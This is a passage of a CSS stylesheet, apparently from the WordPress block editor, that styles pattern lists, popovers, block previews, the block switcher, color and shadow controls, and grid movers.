  font-size:11px;
  font-weight:500;
  margin:0 0 12px;
  text-transform:uppercase;
}

.block-editor-block-patterns-list__list-item{
  cursor:pointer;
  margin-bottom:16px;
  position:relative;
}
.block-editor-block-patterns-list__list-item.is-placeholder{
  min-height:100px;
}
.block-editor-block-patterns-list__list-item[draggable=true]{
  cursor:grab;
}

.block-editor-block-patterns-list__item{
  height:100%;
  outline:0;
  scroll-margin-bottom:56px;
  scroll-margin-top:24px;
}
.block-editor-block-patterns-list__item .block-editor-block-patterns-list__item-title{
  flex-grow:1;
  font-size:12px;
  text-align:left;
}
.block-editor-block-patterns-list__item .block-editor-block-preview__container{
  align-items:center;
  border-radius:4px;
  display:flex;
  overflow:hidden;
}
.block-editor-block-patterns-list__item .block-editor-block-preview__container:after{
  border-radius:4px;
  outline:1px solid #0000001a;
  outline-offset:-1px;
}
@media not (prefers-reduced-motion){
  .block-editor-block-patterns-list__item .block-editor-block-preview__container:after{
    transition:outline .1s linear;
  }
}
.block-editor-block-patterns-list__item.is-selected .block-editor-block-preview__container:after{
  outline-color:#1e1e1e;
  outline-offset:calc(var(--wp-admin-border-width-focus)*-1);
  outline-width:var(--wp-admin-border-width-focus);
}
.block-editor-block-patterns-list__item:hover .block-editor-block-preview__container:after{
  outline-color:#0000004d;
}
.block-editor-block-patterns-list__item[data-focus-visible] .block-editor-block-preview__container:after{
  outline-color:var(--wp-admin-theme-color);
  outline-offset:calc(var(--wp-admin-border-width-focus)*-1);
  outline-width:var(--wp-admin-border-width-focus);
}
.block-editor-block-patterns-list__item .block-editor-patterns__pattern-details:not(:empty){
  align-items:center;
  margin-top:8px;
  padding-bottom:4px;
}
.block-editor-block-patterns-list__item .block-editor-patterns__pattern-icon-wrapper{
  height:24px;
  min-width:24px;
}
.block-editor-block-patterns-list__item .block-editor-patterns__pattern-icon-wrapper .block-editor-patterns__pattern-icon{
  fill:var(--wp-block-synced-color);
}

.block-editor-patterns__grid-pagination-wrapper .block-editor-patterns__grid-pagination{
  border-top:1px solid #2f2f2f;
  justify-content:center;
  padding:4px;
}

.show-icon-labels .block-editor-patterns__grid-pagination-button{
  width:auto;
}
.show-icon-labels .block-editor-patterns__grid-pagination-button span{
  display:none;
}
.show-icon-labels .block-editor-patterns__grid-pagination-button:before{
  content:attr(aria-label);
}

.components-popover.block-editor-block-popover{
  margin:0 !important;
  pointer-events:none;
  position:absolute;
  z-index:31;
}
.components-popover.block-editor-block-popover .components-popover__content{
  margin:0 !important;
  min-width:auto;
  overflow-y:visible;
  width:max-content;
}
.components-popover.block-editor-block-popover:not(.block-editor-block-popover__inbetween,.block-editor-block-popover__drop-zone,.block-editor-block-list__block-side-inserter-popover) .components-popover__content *{
  pointer-events:all;
}
.components-popover.block-editor-block-popover__inbetween,.components-popover.block-editor-block-popover__inbetween *{
  pointer-events:none;
}
.components-popover.block-editor-block-popover__inbetween .is-with-inserter,.components-popover.block-editor-block-popover__inbetween .is-with-inserter *{
  pointer-events:all;
}

.components-popover.block-editor-block-popover__drop-zone *{
  pointer-events:none;
}
.components-popover.block-editor-block-popover__drop-zone .block-editor-block-popover__drop-zone-foreground{
  background-color:var(--wp-admin-theme-color);
  border-radius:2px;
  inset:0;
  position:absolute;
}

.block-editor-block-preview__container{
  overflow:hidden;
  position:relative;
  width:100%;
}
.block-editor-block-preview__container .block-editor-block-preview__content{
  left:0;
  margin:0;
  min-height:auto;
  overflow:visible;
  text-align:initial;
  top:0;
  transform-origin:top left;
  width:100%;
}
.block-editor-block-preview__container .block-editor-block-preview__content .block-editor-block-list__insertion-point,.block-editor-block-preview__container .block-editor-block-preview__content .block-list-appender{
  display:none;
}

.block-editor-block-preview__container:after{
  bottom:0;
  content:"";
  left:0;
  position:absolute;
  right:0;
  top:0;
  z-index:1;
}

.block-editor-block-rename-modal{
  z-index:1000001;
}

.block-editor-block-styles__preview-panel{
  display:none;
  z-index:90;
}
@media (min-width:782px){
  .block-editor-block-styles__preview-panel{
    display:block;
  }
}
.block-editor-block-styles__preview-panel .block-editor-block-icon{
  display:none;
}

.block-editor-block-styles__variants{
  display:flex;
  flex-wrap:wrap;
  gap:8px;
  justify-content:space-between;
}
.block-editor-block-styles__variants button.components-button.block-editor-block-styles__item{
  box-shadow:inset 0 0 0 1px #ddd;
  color:#1e1e1e;
  display:inline-block;
  width:calc(50% - 4px);
}
.block-editor-block-styles__variants button.components-button.block-editor-block-styles__item:hover{
  box-shadow:inset 0 0 0 1px #ddd;
  color:var(--wp-admin-theme-color);
}
.block-editor-block-styles__variants button.components-button.block-editor-block-styles__item.is-active,.block-editor-block-styles__variants button.components-button.block-editor-block-styles__item.is-active:hover{
  background-color:#1e1e1e;
  box-shadow:none;
}
.block-editor-block-styles__variants button.components-button.block-editor-block-styles__item.is-active .block-editor-block-styles__item-text,.block-editor-block-styles__variants button.components-button.block-editor-block-styles__item.is-active:hover .block-editor-block-styles__item-text{
  color:#fff;
}
.block-editor-block-styles__variants button.components-button.block-editor-block-styles__item.is-active:focus,.block-editor-block-styles__variants button.components-button.block-editor-block-styles__item:focus{
  box-shadow:inset 0 0 0 1px #fff, 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  outline:2px solid #0000;
}
.block-editor-block-styles__variants .block-editor-block-styles__item-text{
  text-align:start;
  text-align-last:center;
  white-space:normal;
  word-break:break-all;
}

.block-editor-block-styles__block-preview-container,.block-editor-block-styles__block-preview-container *{
  box-sizing:border-box !important;
}

.block-editor-block-switcher{
  position:relative;
}
.block-editor-block-switcher .components-button.components-dropdown-menu__toggle.has-icon.has-icon{
  min-width:36px;
}

.block-editor-block-switcher__no-switcher-icon,.block-editor-block-switcher__toggle{
  position:relative;
}

.components-button.block-editor-block-switcher__no-switcher-icon,.components-button.block-editor-block-switcher__toggle{
  display:block;
  height:48px;
  margin:0;
}
.components-button.block-editor-block-switcher__no-switcher-icon .block-editor-block-icon,.components-button.block-editor-block-switcher__toggle .block-editor-block-icon{
  margin:auto;
}

.components-button.block-editor-block-switcher__no-switcher-icon{
  display:flex;
}
.components-button.block-editor-block-switcher__no-switcher-icon .block-editor-block-icon{
  margin-left:auto;
  margin-right:auto;
  min-width:24px !important;
}
.components-button.block-editor-block-switcher__no-switcher-icon[aria-disabled=true],.components-button.block-editor-block-switcher__no-switcher-icon[aria-disabled=true]:hover{
  color:#1e1e1e;
}

.components-popover.block-editor-block-switcher__popover .components-popover__content{
  min-width:300px;
}

.block-editor-block-switcher__popover-preview-container{
  bottom:0;
  left:0;
  pointer-events:none;
  position:absolute;
  top:-1px;
  width:100%;
}

.block-editor-block-switcher__popover-preview{
  overflow:hidden;
}
.block-editor-block-switcher__popover-preview .components-popover__content{
  background:#fff;
  border:1px solid #1e1e1e;
  border-radius:4px;
  box-shadow:none;
  outline:none;
  overflow:auto;
  width:300px;
}
.block-editor-block-switcher__popover-preview .block-editor-block-switcher__preview{
  margin:16px 0;
  max-height:468px;
  overflow:hidden;
  padding:0 16px;
}
.block-editor-block-switcher__popover-preview .block-editor-block-switcher__preview.is-pattern-list-preview{
  overflow:unset;
}

.block-editor-block-switcher__preview-title{
  color:#757575;
  font-size:11px;
  font-weight:500;
  margin-bottom:12px;
  text-transform:uppercase;
}

.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__no-switcher-icon{
  min-width:36px;
}
.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__no-switcher-icon,.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__toggle{
  height:48px;
}
.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__no-switcher-icon .block-editor-block-icon,.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__no-switcher-icon .block-editor-block-switcher__transform,.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__toggle .block-editor-block-icon,.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__toggle .block-editor-block-switcher__transform{
  height:48px;
  width:48px;
}
.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__no-switcher-icon .block-editor-block-switcher__transform,.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__toggle .block-editor-block-switcher__transform{
  padding:12px;
}

.block-editor-block-switcher__preview-patterns-container{
  padding-bottom:16px;
}
.block-editor-block-switcher__preview-patterns-container .block-editor-block-switcher__preview-patterns-container-list__list-item{
  margin-top:16px;
}
.block-editor-block-switcher__preview-patterns-container .block-editor-block-switcher__preview-patterns-container-list__list-item .block-editor-block-preview__container{
  cursor:pointer;
}
.block-editor-block-switcher__preview-patterns-container .block-editor-block-switcher__preview-patterns-container-list__list-item .block-editor-block-switcher__preview-patterns-container-list__item{
  border:1px solid #0000;
  border-radius:2px;
  height:100%;
  position:relative;
}
@media not (prefers-reduced-motion){
  .block-editor-block-switcher__preview-patterns-container .block-editor-block-switcher__preview-patterns-container-list__list-item .block-editor-block-switcher__preview-patterns-container-list__item{
    transition:all .05s ease-in-out;
  }
}
.block-editor-block-switcher__preview-patterns-container .block-editor-block-switcher__preview-patterns-container-list__list-item .block-editor-block-switcher__preview-patterns-container-list__item:focus,.block-editor-block-switcher__preview-patterns-container .block-editor-block-switcher__preview-patterns-container-list__list-item .block-editor-block-switcher__preview-patterns-container-list__item:hover{
  box-shadow:inset 0 0 0 1px #fff, 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  outline:2px solid #0000;
}
.block-editor-block-switcher__preview-patterns-container .block-editor-block-switcher__preview-patterns-container-list__list-item .block-editor-block-switcher__preview-patterns-container-list__item:hover{
  box-shadow:inset 0 0 0 1px #fff, 0 0 0 var(--wp-admin-border-width-focus) #1e1e1e;
}
.block-editor-block-switcher__preview-patterns-container .block-editor-block-switcher__preview-patterns-container-list__list-item .block-editor-block-switcher__preview-patterns-container-list__item .block-editor-block-switcher__preview-patterns-container-list__item-title{
  cursor:pointer;
  font-size:12px;
  padding:4px;
  text-align:center;
}

.block-editor-block-switcher__no-transforms{
  color:#757575;
  margin:0;
  padding:6px 8px;
}

.block-editor-block-switcher__binding-indicator{
  display:block;
  padding:8px;
}

.block-editor-block-types-list>[role=presentation]{
  display:flex;
  flex-wrap:wrap;
  overflow:hidden;
}

.block-editor-block-pattern-setup{
  align-items:flex-start;
  border-radius:2px;
  display:flex;
  flex-direction:column;
  justify-content:center;
  width:100%;
}
.block-editor-block-pattern-setup.view-mode-grid{
  padding-top:4px;
}
.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__toolbar{
  justify-content:center;
}
.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container{
  column-count:2;
  column-gap:24px;
  display:block;
  padding:0 32px;
  width:100%;
}
@media (min-width:1440px){
  .block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container{
    column-count:3;
  }
}
.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container .block-editor-block-preview__container,.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container div[role=button]{
  cursor:pointer;
}
.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container .block-editor-block-pattern-setup-list__item{
  scroll-margin:5px 0;
}
.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container .block-editor-block-pattern-setup-list__item:hover .block-editor-block-preview__container{
  box-shadow:0 0 0 2px var(--wp-admin-theme-color);
}
.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container .block-editor-block-pattern-setup-list__item:focus .block-editor-block-preview__container{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) #fff, 0 0 0 calc(var(--wp-admin-border-width-focus)*2) var(--wp-admin-theme-color);
  outline:2px solid #0000;
  outline-offset:2px;
}
.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container .block-editor-block-pattern-setup-list__item:focus .block-editor-block-pattern-setup-list__item-title,.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container .block-editor-block-pattern-setup-list__item:hover .block-editor-block-pattern-setup-list__item-title{
  color:var(--wp-admin-theme-color);
}
.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container .block-editor-block-pattern-setup-list__list-item{
  break-inside:avoid-column;
  margin-bottom:24px;
}
.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container .block-editor-block-pattern-setup-list__list-item .block-editor-block-pattern-setup-list__item-title{
  cursor:pointer;
  font-size:12px;
  padding-top:8px;
  text-align:center;
}
.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container .block-editor-block-pattern-setup-list__list-item .block-editor-block-preview__container{
  border:1px solid #ddd;
  border-radius:4px;
  min-height:100px;
}
.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container .block-editor-block-pattern-setup-list__list-item .block-editor-block-preview__content{
  width:100%;
}
.block-editor-block-pattern-setup .block-editor-block-pattern-setup__toolbar{
  align-items:center;
  align-self:stretch;
  background-color:#fff;
  border-top:1px solid #ddd;
  bottom:0;
  box-sizing:border-box;
  color:#1e1e1e;
  display:flex;
  flex-direction:row;
  height:60px;
  justify-content:space-between;
  margin:0;
  padding:16px;
  position:absolute;
  text-align:left;
  width:100%;
}
.block-editor-block-pattern-setup .block-editor-block-pattern-setup__toolbar .block-editor-block-pattern-setup__display-controls{
  display:flex;
}
.block-editor-block-pattern-setup .block-editor-block-pattern-setup__toolbar .block-editor-block-pattern-setup__actions,.block-editor-block-pattern-setup .block-editor-block-pattern-setup__toolbar .block-editor-block-pattern-setup__navigation{
  display:flex;
  width:calc(50% - 36px);
}
.block-editor-block-pattern-setup .block-editor-block-pattern-setup__toolbar .block-editor-block-pattern-setup__actions{
  justify-content:flex-end;
}
.block-editor-block-pattern-setup .block-editor-block-pattern-setup__container{
  box-sizing:border-box;
  display:flex;
  flex-direction:column;
  height:100%;
  width:100%;
}
.block-editor-block-pattern-setup .block-editor-block-pattern-setup__container .carousel-container{
  height:100%;
  list-style:none;
  margin:0;
  overflow:hidden;
  padding:0;
  position:relative;
  transform-style:preserve-3d;
}
.block-editor-block-pattern-setup .block-editor-block-pattern-setup__container .carousel-container *{
  box-sizing:border-box;
}
.block-editor-block-pattern-setup .block-editor-block-pattern-setup__container .carousel-container .pattern-slide{
  background-color:#fff;
  height:100%;
  margin:auto;
  padding:0;
  position:absolute;
  top:0;
  width:100%;
  z-index:100;
}
@media not (prefers-reduced-motion){
  .block-editor-block-pattern-setup .block-editor-block-pattern-setup__container .carousel-container .pattern-slide{
    transition:transform .5s,z-index .5s;
  }
}
.block-editor-block-pattern-setup .block-editor-block-pattern-setup__container .carousel-container .pattern-slide.active-slide{
  opacity:1;
  position:relative;
  z-index:102;
}
.block-editor-block-pattern-setup .block-editor-block-pattern-setup__container .carousel-container .pattern-slide.previous-slide{
  transform:translateX(-100%);
  z-index:101;
}
.block-editor-block-pattern-setup .block-editor-block-pattern-setup__container .carousel-container .pattern-slide.next-slide{
  transform:translateX(100%);
  z-index:101;
}
.block-editor-block-pattern-setup .block-editor-block-pattern-setup__container .block-list-appender{
  display:none;
}

.block-editor-block-pattern-setup__carousel,.block-editor-block-pattern-setup__grid{
  width:100%;
}

.block-editor-block-variation-transforms{
  padding:0 16px 16px 52px;
  width:100%;
}
.block-editor-block-variation-transforms .components-dropdown-menu__toggle{
  border:1px solid #757575;
  border-radius:2px;
  justify-content:left;
  min-height:30px;
  padding:6px 12px;
  position:relative;
  text-align:left;
  width:100%;
}
.block-editor-block-variation-transforms .components-dropdown-menu__toggle.components-dropdown-menu__toggle{
  padding-right:24px;
}
.block-editor-block-variation-transforms .components-dropdown-menu__toggle:focus:not(:disabled){
  border-color:var(--wp-admin-theme-color);
  box-shadow:0 0 0 calc(var(--wp-admin-border-width-focus) - 1px) var(--wp-admin-theme-color);
}
.block-editor-block-variation-transforms .components-dropdown-menu__toggle svg{
  height:100%;
  padding:0;
  position:absolute;
  right:0;
  top:0;
}

.block-editor-block-variation-transforms__popover .components-popover__content{
  min-width:230px;
}

.components-border-radius-control{
  margin-bottom:12px;
}
.components-border-radius-control legend{
  margin-bottom:8px;
}
.components-border-radius-control .components-border-radius-control__wrapper{
  align-items:flex-start;
  display:flex;
  justify-content:space-between;
}
.components-border-radius-control .components-border-radius-control__wrapper .components-border-radius-control__unit-control{
  flex-shrink:0;
  margin-bottom:0;
  margin-right:16px;
  width:calc(50% - 8px);
}
.components-border-radius-control .components-border-radius-control__wrapper .components-border-radius-control__range-control{
  flex:1;
  margin-right:12px;
}
.components-border-radius-control .components-border-radius-control__input-controls-wrapper{
  display:grid;
  gap:16px;
  grid-template-columns:repeat(2, minmax(0, 1fr));
  margin-right:12px;
}
.components-border-radius-control .component-border-radius-control__linked-button{
  display:flex;
  justify-content:center;
  margin-top:8px;
}
.components-border-radius-control .component-border-radius-control__linked-button svg{
  margin-right:0;
}

.block-editor-color-gradient-control .block-editor-color-gradient-control__color-indicator{
  margin-bottom:12px;
}

.block-editor-color-gradient-control__fieldset{
  min-width:0;
}

.block-editor-panel-color-gradient-settings.block-editor-panel-color-gradient-settings,.block-editor-panel-color-gradient-settings.block-editor-panel-color-gradient-settings>div:not(:first-of-type){
  display:block;
}

@media screen and (min-width:782px){
  .block-editor-panel-color-gradient-settings .components-circular-option-picker__swatches{
    display:grid;
    grid-template-columns:repeat(6, 28px);
  }
}
.block-editor-block-inspector .block-editor-panel-color-gradient-settings .components-base-control{
  margin-bottom:inherit;
}

.block-editor-panel-color-gradient-settings__dropdown-content .block-editor-color-gradient-control__panel{
  padding:16px;
  width:260px;
}

.block-editor-panel-color-gradient-settings__color-indicator{
  background:linear-gradient(-45deg, #0000 48%, #ddd 0, #ddd 52%, #0000 0);
}
.block-editor-tools-panel-color-gradient-settings__item{
  border-bottom:1px solid #ddd;
  border-left:1px solid #ddd;
  border-right:1px solid #ddd;
  max-width:100%;
  padding:0;
  position:relative;
}
.block-editor-tools-panel-color-gradient-settings__item:nth-child(1 of .block-editor-tools-panel-color-gradient-settings__item){
  border-top:1px solid #ddd;
  border-top-left-radius:2px;
  border-top-right-radius:2px;
  margin-top:24px;
}
.block-editor-tools-panel-color-gradient-settings__item:nth-last-child(1 of .block-editor-tools-panel-color-gradient-settings__item){
  border-bottom-left-radius:2px;
  border-bottom-right-radius:2px;
}
.block-editor-tools-panel-color-gradient-settings__item>div,.block-editor-tools-panel-color-gradient-settings__item>div>button{
  border-radius:inherit;
}

.block-editor-tools-panel-color-gradient-settings__dropdown{
  display:block;
  padding:0;
}
.block-editor-tools-panel-color-gradient-settings__dropdown>button{
  height:auto;
  padding-bottom:10px;
  padding-top:10px;
  text-align:left;
}
.block-editor-tools-panel-color-gradient-settings__dropdown>button.is-open{
  background:#f0f0f0;
  color:var(--wp-admin-theme-color);
}
.block-editor-tools-panel-color-gradient-settings__dropdown .block-editor-panel-color-gradient-settings__color-name{
  max-width:calc(100% - 44px);
  overflow:hidden;
  text-overflow:ellipsis;
  white-space:nowrap;
}

.block-editor-panel-color-gradient-settings__dropdown{
  width:100%;
}
.block-editor-panel-color-gradient-settings__dropdown .component-color-indicator{
  flex-shrink:0;
}

.block-editor-panel-color-gradient-settings__reset{
  margin:auto 8px;
  opacity:0;
  position:absolute;
  right:0;
  top:8px;
}
@media not (prefers-reduced-motion){
  .block-editor-panel-color-gradient-settings__reset{
    transition:opacity .1s ease-in-out;
  }
}
.block-editor-panel-color-gradient-settings__reset.block-editor-panel-color-gradient-settings__reset{
  border-radius:2px;
}
.block-editor-panel-color-gradient-settings__dropdown:hover+.block-editor-panel-color-gradient-settings__reset,.block-editor-panel-color-gradient-settings__reset:focus,.block-editor-panel-color-gradient-settings__reset:hover{
  opacity:1;
}
@media (hover:none){
  .block-editor-panel-color-gradient-settings__reset{
    opacity:1;
  }
}

.block-editor-date-format-picker{
  border:none;
  margin:0 0 16px;
  padding:0;
}

.block-editor-date-format-picker__custom-format-select-control__custom-option{
  border-top:1px solid #ddd;
}

.block-editor-duotone-control__popover.components-popover>.components-popover__content{
  padding:8px;
  width:260px;
}
.block-editor-duotone-control__popover.components-popover .components-menu-group__label{
  padding:0;
}
.block-editor-duotone-control__popover.components-popover .components-circular-option-picker__swatches{
  display:grid;
  gap:12px;
  grid-template-columns:repeat(6, 28px);
  justify-content:space-between;
}

.block-editor-duotone-control__unset-indicator{
  background:linear-gradient(-45deg, #0000 48%, #ddd 0, #ddd 52%, #0000 0);
}

.components-font-appearance-control [role=option]{
  color:#1e1e1e;
  text-transform:capitalize;
}

.block-editor-font-family-control:not(.is-next-has-no-margin-bottom){
  margin-bottom:8px;
}

.block-editor-global-styles__toggle-icon{
  fill:currentColor;
}

.block-editor-global-styles__shadow-popover-container{
  width:230px;
}

.block-editor-global-styles__shadow__list{
  display:flex;
  flex-wrap:wrap;
  gap:12px;
  padding-bottom:8px;
}

.block-editor-global-styles__clear-shadow{
  text-align:right;
}

.block-editor-global-styles-filters-panel__dropdown,.block-editor-global-styles__shadow-dropdown{
  display:block;
  padding:0;
  position:relative;
}
.block-editor-global-styles-filters-panel__dropdown button,.block-editor-global-styles__shadow-dropdown button{
  padding:8px;
  width:100%;
}
.block-editor-global-styles-filters-panel__dropdown button.is-open,.block-editor-global-styles__shadow-dropdown button.is-open{
  background-color:#f0f0f0;
}

.block-editor-global-styles__shadow-editor__remove-button{
  margin:auto 8px;
  opacity:0;
  position:absolute;
  right:0;
  top:8px;
}
@media not (prefers-reduced-motion){
  .block-editor-global-styles__shadow-editor__remove-button{
    transition:opacity .1s ease-in-out;
  }
}
.block-editor-global-styles__shadow-dropdown:hover .block-editor-global-styles__shadow-editor__remove-button,.block-editor-global-styles__shadow-editor__remove-button:focus,.block-editor-global-styles__shadow-editor__remove-button:hover{
  opacity:1;
}
@media (hover:none){
  .block-editor-global-styles__shadow-editor__remove-button{
    opacity:1;
  }
}

.block-editor-global-styles-filters-panel__dropdown{
  border:1px solid #ddd;
  border-radius:2px;
}

.block-editor-global-styles__shadow-indicator{
  align-items:center;
  appearance:none;
  background:none;
  border:1px solid #e0e0e0;
  border-radius:2px;
  box-sizing:border-box;
  color:#2f2f2f;
  cursor:pointer;
  display:inline-flex;
  height:26px;
  padding:0;
  transform:scale(1);
  width:26px;
  will-change:transform;
}
@media not (prefers-reduced-motion){
  .block-editor-global-styles__shadow-indicator{
    transition:transform .1s ease;
  }
}
.block-editor-global-styles__shadow-indicator:focus{
  border:2px solid #757575;
}
.block-editor-global-styles__shadow-indicator:hover{
  transform:scale(1.2);
}
.block-editor-global-styles__shadow-indicator.unset{
  background:linear-gradient(-45deg, #0000 48%, #ddd 0, #ddd 52%, #0000 0);
}

.block-editor-global-styles-advanced-panel__custom-css-input textarea{
  direction:ltr;
  font-family:Menlo,Consolas,monaco,monospace;
}

.block-editor-panel-duotone-settings__reset{
  margin:auto 8px;
  opacity:0;
  position:absolute;
  right:0;
  top:8px;
}
@media not (prefers-reduced-motion){
  .block-editor-panel-duotone-settings__reset{
    transition:opacity .1s ease-in-out;
  }
}
.block-editor-global-styles-filters-panel__dropdown:hover .block-editor-panel-duotone-settings__reset,.block-editor-panel-duotone-settings__reset:focus,.block-editor-panel-duotone-settings__reset:hover{
  opacity:1;
}
@media (hover:none){
  .block-editor-panel-duotone-settings__reset{
    opacity:1;
  }
}

.block-editor-grid-visualizer.block-editor-grid-visualizer.block-editor-grid-visualizer{
  z-index:30;
}
.block-editor-grid-visualizer.block-editor-grid-visualizer.block-editor-grid-visualizer .components-popover__content *{
  pointer-events:none;
}
.block-editor-grid-visualizer.block-editor-grid-visualizer.block-editor-grid-visualizer.is-dropping-allowed .block-editor-grid-visualizer__drop-zone{
  pointer-events:all;
}
.block-editor-grid-visualizer.block-editor-grid-visualizer.block-editor-grid-visualizer .block-editor-inserter *{
  pointer-events:auto;
}

.block-editor-grid-visualizer__grid{
  display:grid;
  position:absolute;
}

.block-editor-grid-visualizer__cell{
  display:grid;
  position:relative;
}
.block-editor-grid-visualizer__cell .block-editor-inserter{
  bottom:0;
  color:inherit;
  left:0;
  overflow:hidden;
  position:absolute;
  right:0;
  top:0;
  z-index:32;
}
.block-editor-grid-visualizer__cell .block-editor-inserter .block-editor-grid-visualizer__appender{
  box-shadow:inset 0 0 0 1px color-mix(in srgb, currentColor 20%, #0000);
  color:inherit;
  height:100%;
  opacity:0;
  overflow:hidden;
  padding:0 !important;
  width:100%;
}
.block-editor-grid-visualizer__cell.is-highlighted .block-editor-grid-visualizer__drop-zone,.block-editor-grid-visualizer__cell.is-highlighted .block-editor-inserter{
  background:var(--wp-admin-theme-color);
}
.block-editor-grid-visualizer__cell .block-editor-grid-visualizer__appender:focus,.block-editor-grid-visualizer__cell:hover .block-editor-grid-visualizer__appender{
  background-color:color-mix(in srgb, currentColor 20%, #0000);
  opacity:1;
}

.block-editor-grid-visualizer__drop-zone{
  background:#cccccc1a;
  grid-column:1;
  grid-row:1;
  height:100%;
  min-height:8px;
  min-width:8px;
  width:100%;
}

.block-editor-grid-item-resizer.block-editor-grid-item-resizer.block-editor-grid-item-resizer{
  z-index:30;
}
.block-editor-grid-item-resizer.block-editor-grid-item-resizer.block-editor-grid-item-resizer .components-popover__content *{
  pointer-events:none;
}

.block-editor-grid-item-resizer__box{
  border:1px solid var(--wp-admin-theme-color);
}
.block-editor-grid-item-resizer__box .components-resizable-box__handle.components-resizable-box__handle.components-resizable-box__handle{
  pointer-events:all;
}

.block-editor-grid-item-mover__move-button-container{
  border:none;
  display:flex;
  justify-content:center;
  padding:0;
}
.block-editor-grid-item-mover__move-button-container .block-editor-grid-item-mover-button{
  min-width:0 !important;
  padding-left:0;
  padding-right:0;
  width:24px;
}
.block-editor-grid-item-mover__move-button-container .block-editor-grid-item-mover-button svg{
  min-width:24px;
}
.block-editor-grid-item-mover__move-button-container .block-editor-grid-item-mover-button:before{
  border-radius:2px;
  content:"";
  display:block;
  height:32px;
  left:8px;
  position:absolute;
  right:8px;
  z-index:-1;
}
@media not (prefers-reduced-motion){
  .block-editor-grid-item-mover__move-button-container .block-editor-grid-item-mover-button:before{
    animation:components-button__appear-animation .1s ease;
    animation-fill-mode:forwards;
  }
}
.block-editor-grid-item-mover__move-button-container .block-editor-grid-item-mover-button:focus,.block-editor-grid-item-mover__move-button-container .block-editor-grid-item-mover-button:focus:before,.block-editor-grid-item-mover__move-button-container .block-editor-grid-item-mover-button:focus:enabled{
  box-shadow:none;
  outline:none;
}
.block-editor-grid-item-mover__move-button-container .block-editor-grid-item-mover-button:focus-visible:before{
  box-shadow:inset 0 0 0 1px #fff, 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  outline:2px solid #0000;
}

.block-editor-grid-item-mover__move-vertical-button-container{
  display:flex;
  position:relative;
}
@media (min-width:600px){
  .block-editor-grid-item-mover__move-vertical-button-container{
    flex-direction:column;
    justify-content:space-around;
  }
  .block-editor-grid-item-mover__move-vertical-button-container>.block-editor-grid-item-mover-button.block-editor-grid-item-mover-button{
    height:20px !important;
    min-width:0 !important;
    width:100%;
  }
  .block-editor-grid-item-mover__move-vertical-button-container>.block-editor-grid-item-mover-button.block-editor-grid-item-mover-button:before{
    height:calc(100% - 4px);
  }
  .block-editor-grid-item-mover__move-vertical-button-container .block-editor-grid-item-mover-button.is-down-button svg,.block-editor-grid-item-mover__move-vertical-button-container .block-editor-grid-item-mover-button.is-up-button svg{
    flex-shrink:0;
    height:20px;
  }
  .editor-collapsible-block-toolbar .block-editor-grid-item-mover__move-vertical-button-container{
    height:40px;
    position:relative;
    top:-5px;
  }
}

.show-icon-labels .block-editor-grid-item-mover__move-horizontal-button-container{
  position:relative;
}
@media (min-width:600px){
  .show-icon-labels .block-editor-grid-item-mover__move-horizontal-button-container:before{
    background:#e0e0e0;
    content:"";
    height:100%;
    position:absolute;
    top:0;
    width:1px;
  }
}
@media (min-width:782px){
  .show-icon-labels .block-editor-grid-item-mover__move-horizontal-button-container:before{
    background:#1e1e1e;
  }
}
.show-icon-labels .block-editor-grid-item-mover__move-horizontal-button-container.is-left{
  padding-right:6px;
}
.show-icon-labels .block-editor-grid-item-mover__move-horizontal-button-container.is-left:before{
  right:0;
}
.show-icon-labels .block-editor-grid-item-mover__move-horizontal-button-container.is-right{
  padding-left:6px;
}
.show-icon-labels .block-editor-grid-item-mover__move-horizontal-button-container.is-right:before{
  left:0;
}
@media (min-width:600px){
  .show-icon-labels .block-editor-grid-item-mover__move-vertical-button-container:before{
    background:#e0e0e0;
    content:"";
    height:1px;
    left:50%;
    margin-top:-.5px;
    position:absolute;
    top:50%;
    transform:translate(-50%);
    width:100%;
  }
}
@media (min-width:782px){
  .show-icon-labels .block-editor-grid-item-mover__move-vertical-button-container:before{
    background:#1e1e1e;
  }
}
.show-icon-labels .block-editor-grid-item-mover-button{
  white-space:nowrap;
}
.show-icon-labels .editor-collapsible-block-toolbar .block-editor-grid-item-mover__move-horizontal-button-container:before{
  background:#ddd;
  height:24px;
  top:4px;
}
.show-icon-labels .editor-collapsible-block-toolbar .block-editor-grid-item-mover__move-vertical-button-container:before{
  background:#ddd;
  width:calc(100% - 24px);
}

.block-editor-height-control{
  border:0;
  margin:0;
  padding:0;
}

.block-editor-iframe__container{
  height:100%;
  width:100%;
}

.block-editor-iframe__scale-container{
  height:100%;
}

.block-editor-iframe__scale-container.is-zoomed-out{
  position:absolute;
  right:0;
  width:var(--wp-block-editor-iframe-zoom-out-scale-container-width, 100vw);
}

.block-editor-image-size-control{
  margin-bottom:1em;
}
.block-editor-image-size-control .block-editor-image-size-control__height,.block-editor-image-size-control .block-editor-image-size-control__width{
  margin-bottom:1.115em;
}

.block-editor-block-types-list__list-item{
  display:block;
  margin:0;
  padding:0;
  width:33.33%;
}
